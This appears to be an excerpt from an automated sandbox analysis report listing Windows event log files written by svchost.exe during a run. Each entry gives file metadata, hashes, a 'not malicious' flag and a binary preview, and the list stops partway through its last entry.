C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	93800
Entropy (8bit):	2.151441285111169
Encrypted:	false
SSDEEP:	384:hosKUohhdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorRor9orwTorYoS:SDCY0DCYhp
MD5:	0B62464D5C3311FCABE261A496862520
SHA1:	0D3276F8C48BA293F911DB222675A09BD59EDC89
SHA-256:	A7401EA32A6BBB7F607171D8A4E80E3544764DA8257439102E9EE9713E7FB83B
SHA-512:	E0EC215B97808D589FB44F4FA5C680ADFA4AED5855B0D82AEF2903170CBBBD1D7BCFCBCA1AF77A947FF24CDA6E72B7C631E7FFAB01A132F85E170BDA7097D270
Malicious:	false
Preview:	ElfChnk......................................+...-....J.......................................................................^................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................$..U)..............................**...............W.:.".............$..............................................................>.......V...X.!..e...............W.:."....&O....."'O.................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.U)......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8524226245257144
Encrypted:	false
SSDEEP:	384:JhAiPA5PNPxPEPHPhPEPmPSPRP3PoPpPTP8PXPr5P:J2Nr
MD5:	B8E105CC52B7107E2757421373CBA144
SHA1:	39B61BEA2065C4FBEC143881220B37F3BA50A372
SHA-256:	B7EE076088005866A01738ECD3421A4DA3A389FFB9EEB663687823E6647F7B4B
SHA-512:	7670455904F14DA7A9EEFBAD5616D6D00EA262C979EDABB433182500B6EF918C6E534C94DF30D829016C8539DF12CAD5F53EC884C45AA71ACA35CF9B797361BC
Malicious:	false
Preview:	ElfChnk......................................#...&...l2.......................................................................................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................#..........'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432997252442703
Encrypted:	false
SSDEEP:	384:4hZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+l9:4WXSYieD+tvgzmMvRpBWfb
MD5:	39EE3557626C7F112A88A4DE12E904C1
SHA1:	C307FECC944D746A49EEA6451B7DA7301F03504C
SHA-256:	2B47146267E6F31192C54D3EDA77EC9ABE6A88B1C72BA9FE789C8073FD632A5A
SHA-512:	304C866E246B3F63BF126B33AED784913A078D44913FD987D896D2D960578B61BA7E24BA3CB8FC76608AB1E5702D0FE587A5FB8C38CDF8913D60F88B1435A2D9
Malicious:	false
Preview:	ElfChnk......................................"...&.....k.....................................................................n..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................."..................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9223892466691472
Encrypted:	false
SSDEEP:	384:whqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28t:wbCyhLfIXBS5
MD5:	93BC7C28E3A7B0EC7634432FFB5F26AE
SHA1:	388548D6291DA80F672153D1C18E32BDA335AA90
SHA-256:	D354F4EA745283540D197B6D4C57EFC4F539F7566CFB3A06AEBD1243CD222EE1
SHA-512:	3235FEA5A58C72DCD680D436AA2652F5221C6AC6F5A53882C7817A8A65E63C13087CD5660839FC7CFA0F62C666014608B91ABB4235EF5F79F68EF5806252F84A
Malicious:	false
Preview:	ElfChnk.........F...............F...............P............................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n...................................................6...................................*..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.838106263184782
Encrypted:	false
SSDEEP:	768:ccMhFBuyKskZljdoKXjtT/r18rQXn8r3e5POH:JMhFBuVge
MD5:	A2D41740C1BAF781019F282E37288DDF
SHA1:	A6FE635B3EC8A6923EDE10C23FC79DD32EF4F621
SHA-256:	7008D3010B17C0B09643D10D26B19FB971BB1963C414C1466BEAD617CF9F15E7
SHA-512:	E33A0A2F9473D2D05E9704FE16E6EE34FB51FD8E25A3D60E1F7A67665CA14421B6511D896526AFC7CAE1BF629BB7013FA10663620C5450F1BB51A465EF5A51CB
Malicious:	false
Preview:	ElfChnk.........?...............?...................<.md.....................................................................?.Q................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A......&...................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.634418630947688
Encrypted:	false
SSDEEP:	768:/VQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZaUeI36ISKEeKRe:cH
MD5:	A00BAFFCABB00428EA0512FCECCC55E5
SHA1:	19F7C942DC26C3FF56D6240158734AFF67D6B93E
SHA-256:	92264C9E28AB541669DED47CFAF1E818EBD863FA9E8FC6B0F52175D694A9E0D9
SHA-512:	DF94AA8FA0610A0EFE7BAC0DB2A01645A4CD1C7FAD62E914EF914B526B651ED62600F63909D26149FD17C259348DADE05F48759B1DF092970251DB86690CC2B6
Malicious:	false
Preview:	ElfChnk.........m...............m.....................]......................................................................p.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................................%0......**..@...........WW. ..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.0646587531847893
Encrypted:	false
SSDEEP:	384:eh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDK:eMAP1Qa5AgfQQgniwS
MD5:	399CAF70AC6E1E0C918905B719A0B3DD
SHA1:	62360CD0CA66E23C70E6DE3340698E7C0D789972
SHA-256:	FD081487CCB0ACEAD6F633AADBA4B977D2C9360CE8EAC36EAB4E3C84A701D849
SHA-512:	A3E17DA61D4F7C0C94FD0B67707AE35250656842D602906DE515B5E46ECD5078AC68AE607B99DC1A6061B0F896759FE46FF8EE350774205635D30363D46939EA
Malicious:	false
Preview:	ElfChnk......................................g...j..%s.g........................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&...........c..;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4364303862010575
Encrypted:	false
SSDEEP:	384:PhrE2E+EAsbE3VgEWsUiEcEf4eEOhEmELVFEEE5ejElEreEFEzEAEWE+EWEeEKEy:P3sleByhfIwPGa1SEzy
MD5:	2BB73ACC8F7419459C4BF931AB85352C
SHA1:	F1CE2EB960D3886F76094E2327DD092FC1208C7E
SHA-256:	1969400F6FC72AD4A41092FEC53A19078C98DE9FCB2507A3BD8E1930B2447B62
SHA-512:	7D882184DA11B490E111502C8193B73248259D43CC5DCE021CD7264212F1BCD3D62F2A3A2F86929663E2E904961D4F1E406E314020FE904D41694A09C1EB0457
Malicious:	false
Preview:	ElfChnk.p...............p..................../...1..V......................................................................H...................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................m..............................%................ ..................&............0......................*......p..........T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0631557320109892
Encrypted:	false
SSDEEP:	384:xhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3KlZ:x1T4hGvj
MD5:	86AEA3A9CA3E5909FD44812754E52BD6
SHA1:	F79B583F83F118AC724A5A4206FC439B88BB8C65
SHA-256:	2AB21F158F9FFA0A375B2ABBD58880A732FABBC436246D40A68DD88D324428C9
SHA-512:	17796DAA6BCE3C6B7EBACD2A683D085AB08C7701DB5FF91DC2D6531E9CC23FCFC52650A6CD02D8B54D4E8C8D5B59DB1688E18571587E0431E4AA914086BE26F5
Malicious:	false
Preview:	ElfChnk.........b...............b...............0...o5@r.....................................................................2..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4467272005363894
Encrypted:	false
SSDEEP:	384:EEhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjD6:JzSKEqsMuy6TN
MD5:	155681C222D825199B738E8DEC707DC8
SHA1:	704C800E7313F77A218203554E1428DF2819BC34
SHA-256:	1505E543085CB6AA30119F10DF11AC8CE061DB0CAC6D44A640E711F96750C4BF
SHA-512:	ADDDE8E26D330EAA13F993D17FF4A6DE7F4120E5B36205EB69FC999B0462B21FD189317EFD1002618551EE24E5C753A09EB34955E8CF1A8E2A22D27516BAB720
Malicious:	false
Preview:	ElfChnk.........L...............L...........x.......ZZO.........................................................................................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=............................................y..................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.156155224835584
Encrypted:	false
SSDEEP:	384:MhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zE:Mmw9g3LU
MD5:	F22AC858C2ACC96E8F189E43FFE46FBD
SHA1:	540B8276921D37FCFFDA3FC7BCFAE1D99A85433B
SHA-256:	771A6E4098CB30081338F06DD7C0B54248C133F9B7B6849FDADDBD6E6FD5BCE9
SHA-512:	B4CF3C51B9FB236207B19FE697CEF6E402C6C903E7570B3938F529E5438F96E230463B9A9B17784A98E580E2B18AA9626E96AA83F705D506AF9C2A0432F0F7D5
Malicious:	false
Preview:	ElfChnk.........6...............6........... o...p..k.?........................................................................x................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#...........................................~i..................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9197999988543422
Encrypted:	false
SSDEEP:	384:ehqID7I26vIxIPIttIo0IPrI5IMILIjI7I1IIIfrIBBLIgITI:ecx
MD5:	6C3F290FC62CFA9C240AEE8DB1DBA277
SHA1:	CFACCF81F3AA31E8DE85CEAFDAA55AA90FA18BEC
SHA-256:	7841FBB35636229AFB0389965D3DDBD0B7DF4858F1DA8A8FF434830DB8B133D6
SHA-512:	D2C60875EFADB1F3421CDC095B00E32419C0266CB4F58B17AF09A82AAA20EB488C757BA07E7562A033B84A37B3E035C405200BFB29330F79CA565FF21F5EDA88
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....U......................................................................+.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..x...K.........tQ..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.718426658668259
Encrypted:	false
SSDEEP:	384:Thka5Ka5WsR9o2KbzyzIz7a5NsR9o2KbzyzIzia5zzuzNz0zxzuewKWMK/2a55wt:Tdqlt94xODljQdM
MD5:	8630011707C7BFBCECC0A9430637802E
SHA1:	22247A5B6A4C01883BB14E0BD4575A3553F945CB
SHA-256:	227057F9899098B21709D53114E9DECFFCD28207BFFA178AD6B1E32F9C63EDDF
SHA-512:	972629871B28EA6D01B8762B28378F8348E592BD465FE7FD1CF6AB5BD62157230AD3BB729F6290F6EDA950AB20598110676D902756E40BA3067ED37831855076
Malicious:	false
Preview:	ElfChnk.%......./.......%......./...........(l...n.........................................................................b\.;................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&........................6..........**..P...%.......'wu~..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9963080376858662
Encrypted:	false
SSDEEP:	384:l7h1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMLaMA0MJvMZy:l7eJw
MD5:	A51AFE78FA4481FA05EDC1133C92B1D8
SHA1:	5BA44E7A99EE615E323696742DA6B930E9FF6198
SHA-256:	44C1977D16383DF6B1FFF8164F319DFD99092A124ABA7C7280D74A6BB8AD2094
SHA-512:	792E5E8F5540DCA4B7F003C1043DCBC3E0EC3F23EC4A7B0FA84357F6ABDFD84122C124DBEA2B61D3B5CEED79A3E158DBE95DFCDB20EEAC433D9CDC29C3328F22
Malicious:	false
Preview:	ElfChnk......................................)..0-....\.....................................................................\|..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................)..................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.076996627399968
Encrypted:	false
SSDEEP:	384:Ihk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS12:IBjdjP0cs6N
MD5:	A8ADBDC2B39B55444B2C844F7D81EBDE
SHA1:	F97F40E314C8A2A39953A28CB72C9270D3073418
SHA-256:	93CF0EF4C121FCBB18A8A6DA5912415AF1113816BE6A8F9B86BE6A2243408E09
SHA-512:	922D165CBE871A393D58DAABABE7D09557E242BF73C2C473C29CCB0FB3277B8119911EFF51B12238D23B613AD9C15DAB163C9757BC9006D768B2345F53436E7B
Malicious:	false
Preview:	ElfChnk.........................................X...Y}.......................................................................(.[................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	3.453852464611312
Encrypted:	false
SSDEEP:	384:Q0IL7yI4IqIEI0IO6yI93I59tIrIDIPIeILImIuRIAIPIdIpIJvAIVI9ILvhDIEb:QmPLvZxGp9uP
MD5:	3C1EA02E9BABB0358F400341DCA6EE7B
SHA1:	6A5981CD16907C60EBA69ECE077114CD84A136A0
SHA-256:	23E8A82D657D9CC821D1A21F27CBC7C3554DFA6C039976BE055DC4225A1672A5
SHA-512:	63DC7D28DCBAF6BA56DE7D70C1D4439C521C3C488A27570A241342686A48C4F8B9BAB3D4F75C8C11E66CF704A0C7C164B888C78B72A7A519A2B72609D31F35AA
Malicious:	false
Preview:	ElfChnk.T...............T...................x...h.....\|7.....................................................................{..........................................>...=...........................................................................................................................f...............?...........................m...................M...F............................................................n..................1................................a.................................**......z.......A..7.".............a..............................................................,.......D.....!........... ....@A..7."..@..^<.....fX........l...z....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l........n..&.......6p.\.#i....>..........2........A..=...>.../....=.......V.o.l.u.m.e.C.o.r.r.e.l.a.t.i.o.n.I.d.......A..7...>...)....=.......V.o.l.u.m.e.N.a.m.e.L.e.n.g.t.h....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.801423310886069
Encrypted:	false
SSDEEP:	384:dh6iIvcImIvITIQIoIoI3IEIMIoIBIDIcIwISIEzIJVI:doxJS
MD5:	9EAAD7982F42DFF47B8EF784DD2EE1CC
SHA1:	542608204AF6B709B06807E9466F7543C0F08818
SHA-256:	5468A48533B56DE3E8C820B870493154775356CE3913AD70EC51E0D1D0D1A366
SHA-512:	036BFABE2AC4AD623B5C439349938C0EA254BFCDAB9096A53253189D4F632A8A8A1DD00644A4573AF971AAEA6831317BFD663E35363DD870684CDD4C0A51884C
Malicious:	false
Preview:	ElfChnk.....................................X ...#..\.N......................................................................12.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................~ ..................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.996272372482282
Encrypted:	false
SSDEEP:	768:e4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH137:M
MD5:	4F68D6AF0C7DB9E98F8B592C9A07811C
SHA1:	9F519109344DD57150F16B540AAA417483EF44FE
SHA-256:	44177E6F71E240EBFE9CE63FEFBF5D46A01979E09C0C14F65F1D19AE8E97B8EE
SHA-512:	E1D5097BCD572F3DBAF4024FAEA76BAD3061CD2E05017701B578020327969C2BD3F725FBE8BFE4C40DC66336CE1371E7AB037058603B02449366DAE4EDE8DE69
Malicious:	false
Preview:	ElfChnk.....................................(...8...S......................................................................V..C................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ..................................................N...................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	dBase III DBT, next free block index 1130785861, 1st item "**"
Category:	dropped
Size (bytes):	68624
Entropy (8bit):	3.743950093469271
Encrypted:	false
SSDEEP:	768:8PYutDBjV8k+uoeUtHpoVWWG07SZRcZv76NcRUjGHzLKvc90XKcZv76NcRkpyLjh:vutDBjV8k+uoPtHpoVW
MD5:	2C2FD78FB4EEFB05CFF5ECCD1510E9F2
SHA1:	2984FC17D2AAAEBA3C5F27AA167C7B8AA2D40BCA
SHA-256:	4795DA88780E1D7E7ABF6462FE69366CF03BA078FE2DD2A493F2FD3E0051E91F
SHA-512:	78A0BA400BA1259EE3DD67F4F139D69C14C70ED139ACC566F493BE50F73C4F1E904235E1329CD987888020C2B3CD447D60C6CDD12EC43A5D6EEEC5D92D1813CC
Malicious:	false
Preview:	ElfChnk.................O.......Q...................S..6.....................................................................>..................0...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..`...O..........@."............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.738422084421742
Encrypted:	false
SSDEEP:	384:dh+rKvKaKNP6WKkvKWKlpKuyK7YKmKaKHxqKWyK11KUIKqKq9KLjK5yKoKfKYKnv:dkN2cTOsKJlhSCP1t5l3WNrjzDbRt
